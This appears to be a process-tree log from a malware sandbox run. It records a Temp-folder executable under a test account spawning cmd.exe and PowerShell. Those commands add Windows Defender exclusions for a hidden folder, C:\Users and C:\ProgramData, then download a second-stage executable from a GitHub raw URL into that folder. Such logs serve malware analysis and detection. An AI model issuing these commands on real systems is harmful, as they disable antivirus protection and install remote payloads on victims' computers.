d9e75265-7911-418e-8811-8a4d68a24ddc.exe "C:\Users\test22\AppData\Local\Temp\d9e75265-7911-418e-8811-8a4d68a24ddc.exe"
1688cmd.exe C:\Windows\system32\cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\test22\AppData\Local\iduhhuyedk', 'C:\Users', 'C:\ProgramData'"
2124powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\test22\AppData\Local\iduhhuyedk', 'C:\Users', 'C:\ProgramData'"
2168cmd.exe C:\Windows\system32\cmd.exe /c powershell -Command "Invoke-WebRequest -Uri 'https://github.com/kluquert/deripas/raw/refs/heads/main/nerto1.exe' -OutFile 'C:\Users\test22\AppData\Local\iduhhuyedk\htiytlydmik.exe'"
2664powershell.exe powershell -Command "Invoke-WebRequest -Uri 'https://github.com/kluquert/deripas/raw/refs/heads/main/nerto1.exe' -OutFile 'C:\Users\test22\AppData\Local\iduhhuyedk\htiytlydmik.exe'"
2708